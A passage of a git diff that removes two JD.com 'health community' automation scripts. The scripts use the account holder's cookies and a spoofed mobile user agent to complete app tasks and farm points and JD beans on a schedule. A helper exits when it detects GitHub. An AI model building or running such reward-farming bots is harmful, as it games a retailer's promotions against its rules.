e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health.js b/jd_health.js deleted file mode 100644 index 94aa03a9e..000000000 --- a/jd_health.js +++ /dev/null @@ -1,340 +0,0 @@ -/* -东东健康社区 -更新时间:2021-4-22 -活动入口:京东APP首页搜索 "玩一玩"即可 - -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===================quantumultx================ -[task_local] -#东东健康社区 -13 1,6,22 * * * https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_health.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=====================Loon================ -[Script] -cron "13 1,6,22 * * *" script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_health.js, tag=东东健康社区 - -====================Surge================ -东东健康社区 = type=cron,cronexp="13 1,6,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_health.js - -============小火箭========= -东东健康社区 = type=cron,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_health.js, cronexpr="13 1,6,22 * * *", timeout=3600, enable=true - */ -const $ = new Env("东东健康社区"); -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -const notify = $.isNode() ? require('./sendNotify') : ""; -let cookiesArr = [], cookie = "", allMessage = "", message; -let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : '' -const randomCount = $.isNode() ? 20 : 5; -$.newShareCodes = []; -let UserShareCodes = ""; -function oc(fn, defaultVal) { //optioanl chaining - try { - return fn() - } catch (e) { - return undefined - } -} -function nc(val1, val2) {//nullish coalescing - return val1 != undefined ? val1 : val2 -} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; -} else { - cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -const JD_API_HOST = "https://api.m.jd.com/"; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", {"open-url": "https://bean.m.jd.com/"}); - return; - } - console.log(`开始执行任务....\n`); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - message = ""; - console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await main() - await showMsg() - } - } - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})() -.catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); -}) -.finally(() => { - $.done(); -}); - -async function main() { - try { - $.score = 0 - $.earn = false - await getTaskDetail(-1) - await getTaskDetail(16) - await getTaskDetail(6) - for(let i = 0 ; i < 5; ++i){ - $.canDo = false - await getTaskDetail() - if(!$.canDo) break - await $.wait(1000) - } - await collectScore() - await getTaskDetail(22); - await getTaskDetail(-1) - - if (reward) { - await getCommodities() - } - await exchanges() - - } catch (e) { - $.logErr(e) - } -} - -function showMsg() { - return new Promise(async resolve => { - message += `本次获得${$.earn}健康值,累计${$.score}健康值\n` - $.msg($.name, '', `京东账号${$.index} ${$.UserName}\n${message}`); - resolve(); - }) -} - -function getTaskDetail(taskId = '') { - return new Promise(resolve => { - $.get(taskUrl('jdhealth_getTaskDetail', {"buildingId": "", taskId: taskId === -1 ? '' : taskId, "channelId": 1}), - async (err, resp, data) => { - try { - if (safeGet(data)) { - data = $.toObj(data) - if (taskId === -1) { - let tmp = parseInt(parseFloat(nc(oc(() => data.data.result.userScore) , '0'))) - if (!$.earn) { - $.score = tmp - $.earn = 1 - } else { - $.earn = tmp - $.score - $.score = tmp - } - } else if (taskId === 6) { - if (oc(() => data.data.result.taskVos)) { - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); - // console.log('好友助力码:' + data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken) - } - } else if (taskId === 22) { - console.log(`${oc(() => data.data.result.taskVos[0].taskName)}任务,完成次数:${oc(() => data.data.result.taskVos[0].times)}/${oc(() => data.data.result.taskVos[0].maxTimes)}`) - if (oc(() => data.data.result.taskVos[0].times) === oc(() => data.data.result.taskVos[0].maxTimes)) return - await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 1)//领取任务 - await $.wait(1000 * (oc(() => data.data.result.taskVos[0].waitDuration) || 3)); - await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 0);//完成任务 - } else { - for (let vo of nc(oc(() => data.data.result.taskVos.filter(vo => ![19,25,15,21].includes(vo.taskType))) , [])) { - console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`) - for (let i = vo.times; i < vo.maxTimes; i++) { - console.log(`去完成${vo.taskName}任务`) - if (vo.taskType === 13) { - await doTask(oc(() => vo.simpleRecordInfoVo.taskToken), oc(() => vo.taskId)) - } else if (vo.taskType === 8) { - await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 1) - await $.wait(1000 * 10) - await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 0) - } else if (vo.taskType === 9) { - await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 1) - await $.wait(1000 * 10) - await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 0) - } else if (vo.taskType === 10) { - await doTask(oc(() => vo.threeMealInfoVos[0].taskToken), oc(() => vo.taskId)) - } else if (vo.taskType === 26 || vo.taskType === 3) { - await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId)) - } else if (vo.taskType === 1) { - for (let key of Object.keys(vo.followShopVo)) { - let taskFollow = vo.followShopVo[key] - if (taskFollow.status !== 2) { - await doTask(taskFollow.taskToken, vo.taskId, 0) - break - } - } - } - await $.wait(2000) - } - } - } - } - } catch (e) { - console.log(e) - } finally { - resolve() - } - }) - }) -} - -function exchanges(commodityType, commodityId) { - return new Promise(resolve => { - const options = taskUrl('jdhealth_doLottery', {"taskId":1}) - $.post(options, (err, resp, data) => { - try { - if (safeGet(data)) { - data = $.toObj(data) - if (data.data.bizCode === 0 || data.data.bizMsg === "success") { - $.score = data.data.result.jingBeanNum - console.log(`领取${data.data.result.jingBeanNum}京豆成功`) - } else { - console.log(data.data.bizMsg) - } - } - } catch (e) { - console.log(e) - } finally { - resolve(data) - } - }) - }) -} - -async function getCommodities() { - return new Promise(async resolve => { - const options = taskUrl('jdhealth_getCommodities') - $.post(options, async (err, resp, data) => { - try { - if (safeGet(data)) { - data = $.toObj(data) - let beans = data.data.result.jBeans.filter(x => x.status !== 0 && x.status !== 1) - if (beans.length !== 0) { - for (let key of Object.keys(beans)) { - let vo = beans[key] - if (vo.title === reward && $.score >= vo.exchangePoints) { - await $.wait(1000) - await exchange(vo.type, vo.id) - } - } - } else { - console.log(`兑换京豆次数已达上限`) - } - } - } catch (e) { - console.log(e) - } finally { - resolve(data) - } - }) - }) -} -function exchange(commodityType, commodityId) { - return new Promise(resolve => { - const options = taskUrl('jdhealth_exchange', {commodityType, commodityId}) - $.post(options, (err, resp, data) => { - try { - if (safeGet(data)) { - data = $.toObj(data) - if (data.data.bizCode === 0 || data.data.bizMsg === "success") { - $.score = data.data.result.userScore - console.log(`兑换${data.data.result.jingBeanNum}京豆成功`) - message += `兑换${data.data.result.jingBeanNum}京豆成功\n` - if ($.isNode()) { - allMessage += `【京东账号${$.index}】 ${$.UserName}\n兑换${data.data.result.jingBeanNum}京豆成功🎉${$.index !== cookiesArr.length ? '\n\n' : ''}` - } - } else { - console.log(data.data.bizMsg) - } - } - } catch (e) { - console.log(e) - } finally { - resolve(data) - } - }) - }) -} - -function doTask(taskToken, taskId, actionType = 0) { - return new Promise(resolve => { - const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) - $.get(options, - (err, resp, data) => { - try { - if (safeGet(data)) { - data = $.toObj(data) - if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) { - $.canDo = true - if (oc(() => data.data.result.score)) - console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.score) , '未知')}能量`) - else - console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) - } else { - console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) - } - } - } catch (e) { - console.log(e) - } finally { - resolve(data) - } - }) - }) -} - -function collectScore() { - return new Promise(resolve => { - $.get(taskUrl('jdhealth_collectProduceScore', {}), - (err, resp, data) => { - try { - if (safeGet(data)) { - data = $.toObj(data) - if (oc(() => data.data.bizCode) === 0) { - if (oc(() => data.data.result.produceScore)) - console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.produceScore) , '未知')}能量`) - else - console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) - } else { - console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) - } - } - } catch (e) { - console.log(e) - } finally { - resolve() - } - }) - }) -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'accept-language': 'zh-cn', - 'accept-encoding': 'gzip, deflate, br', - 'accept': 'application/json, text/plain, */*', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health2.js b/jd_health2.js deleted file mode 100644 index 2eb24a71e..000000000 --- a/jd_health2.js +++ /dev/null @@ -1,617 +0,0 @@ -/* -东东健康社区 -更新时间:2021-4-22 -活动入口:京东APP首页搜索 "玩一玩"即可 - -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===================quantumultx================ -[task_local] -#东东健康社区 -13 1,6,22 * * * jd_health2.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=====================Loon================ -[Script] -cron "13 1,6,22 * * *" script-path=jd_health2.js, tag=东东健康社区 - -====================Surge================ -东东健康社区 = type=cron,cronexp="13 1,6,22 * * *",wake-system=1,timeout=3600,script-path=jd_health2.js - -============小火箭========= -东东健康社区 = type=cron,script-path=jd_health2.js, cronexpr="13 1,6,22 * * *", timeout=3600, enable=true - */ - -const $ = new Env("东东健康社区"); - -console.log('\n====================Hello World====================\n') - -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -let cookiesArr = [], cookie = "", message; -// const inviteCodes = [''] -// const randomCount = $.isNode() ? 20 : 5; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - console.log(`如果出现提示 ?.data. 错误,请升级nodejs版本(进入容器后,apk add nodejs-current)`) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => { - }; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -const JD_API_HOST = "https://api.m.jd.com/client.action"; - -!(async () => { - await requireConfig() - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - message = ""; - console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - - if ($.isNode()) { - const path = require('path') - const {accessSync, readFileSync} = require("fs"); - let except - try { - accessSync('./utils/exceptCookie.json') - except = JSON.parse(readFileSync('./utils/exceptCookie.json').toString() || '{}')[path.basename(__filename)] || [] - } catch (e) { - except = [] - } - console.log('except:', except) - if (except.includes($.UserName)) { - console.log(`已设置跳过`) - continue - } - } - - // await shareCodesFormat() - await main() - await showMsg() - } - } -})() - .catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); - }) - .finally(() => { - $.done(); - }); - -async function main() { - try { - $.score = 0 - $.earn = false - await getTaskDetail(-1) - await getTaskDetail(16) - await getTaskDetail(6) - for (let i = 0; i < 5; ++i) { - $.canDo = false - await getTaskDetail() - if (!$.canDo) break - await $.wait(1000) - } - await collectScore() - // await helpFriends() - await getTaskDetail(22); - await getTaskDetail(-1) - } catch (e) { - $.logErr(e) - } -} - -/* -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - console.log(`去助力好友${code}`) - let res = await doTask(code, 6) - if ([108, -1001].includes(res?.data?.bizCode)) { - console.log(`助力次数已满,跳出`) - break - } - await $.wait(1000) - } -} -*/ - -function showMsg() { - return new Promise(async resolve => { - message += `本次获得${$.earn}健康值,累计${$.score}健康值\n` - $.msg($.name, '', `京东账号${$.index} ${$.UserName}\n${message}`); - resolve(); - }) -} - -function getTaskDetail(taskId = '') { - return new Promise(resolve => { - $.get(taskUrl('jdhealth_getTaskDetail', {"buildingId": "", taskId: taskId === -1 ? '' : taskId, "channelId": 1}), - async (err, resp, data) => { - try { - if (safeGet(data)) { - data = $.toObj(data) - if (taskId === -1) { - let tmp = parseInt(parseFloat(data?.data?.result?.userScore ?? '0')) - if (!$.earn) { - $.score = tmp - $.earn = 1 - } else { - $.earn = tmp - $.score - $.score = tmp - } - } else if (taskId === 6) { - if (data?.data?.result?.taskVos) { - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken}\n`); - $.code = data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken || ''; - } - } else if (taskId === 22) { - console.log(`${data?.data?.result?.taskVos[0]?.taskName}任务,完成次数:${data?.data?.result?.taskVos[0]?.times}/${data?.data?.result?.taskVos[0]?.maxTimes}`) - if (data?.data?.result?.taskVos[0]?.times === data?.data?.result?.taskVos[0]?.maxTimes) return - await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 1)//领取任务 - await $.wait(1000 * (data?.data?.result?.taskVos[0]?.waitDuration || 3)); - await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 0);//完成任务 - } else for (let vo of data?.data?.result?.taskVos.filter(vo => vo.taskType !== 19) ?? []) { - console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`) - for (let i = vo.times; i < vo.maxTimes; ++i) { - console.log(`去完成${vo.taskName}任务`) - if (vo.taskType === 13) { - await doTask(vo.simpleRecordInfoVo?.taskToken, vo?.taskId) - } else if (vo.taskType === 8) { - await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 1) - await $.wait(1000 * 10) - await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 0) - } else if (vo.taskType === 9) { - await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 1) - await $.wait(1000 * 10) - await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 0) - } else if (vo.taskType === 10) { - await doTask(vo.threeMealInfoVos[0]?.taskToken, vo?.taskId) - } else if (vo.taskType === 26 || vo.taskType === 3) { - await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId) - } - } - } - } - } catch (e) { - console.log(e) - } finally { - resolve() - } - }) - }) -} - -function doTask(taskToken, taskId, actionType = 0) { - return new Promise(resolve => { - const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) - $.get(options, - (err, resp, data) => { - try { - if (safeGet(data)) { - data = $.toObj(data) - if ([0, 1].includes(data?.data?.bizCode ?? -1)) { - $.canDo = true - if (data?.data?.result?.score) - console.log(`任务完成成功,获得:${data?.data?.result?.score ?? '未知'}能量`) - else - console.log(`任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}`) - } else { - console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`) - } - } - } catch (e) { - console.log(e) - } finally { - resolve(data) - } - }) - }) -} - -function collectScore() { - return new Promise(resolve => { - $.get(taskUrl('jdhealth_collectProduceScore', {}), - (err, resp, data) => { - try { - if (safeGet(data)) { - data = $.toObj(data) - if (data?.data?.bizCode === 0) { - if (data?.data?.result?.produceScore) - console.log(`任务完成成功,获得:${data?.data?.result?.produceScore ?? '未知'}能量`) - else - console.log(`任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}`) - } else { - console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`) - } - } - } catch (e) { - console.log(e) - } finally { - resolve() - } - }) - }) -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -/* -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({ - url: `https://api.jdsharecode.xyz/api/health/${randomCount}`, 'timeout': 10000 - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} health/read API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -*/ - -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = []; - if ($.isNode()) { - if (process.env.JDHEALTH_SHARECODES) { - if (process.env.JDHEALTH_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JDHEALTH_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JDHEALTH_SHARECODES.split('&'); - } - } - } - console.log(`共${cookiesArr.length}个京东账号\n`); - 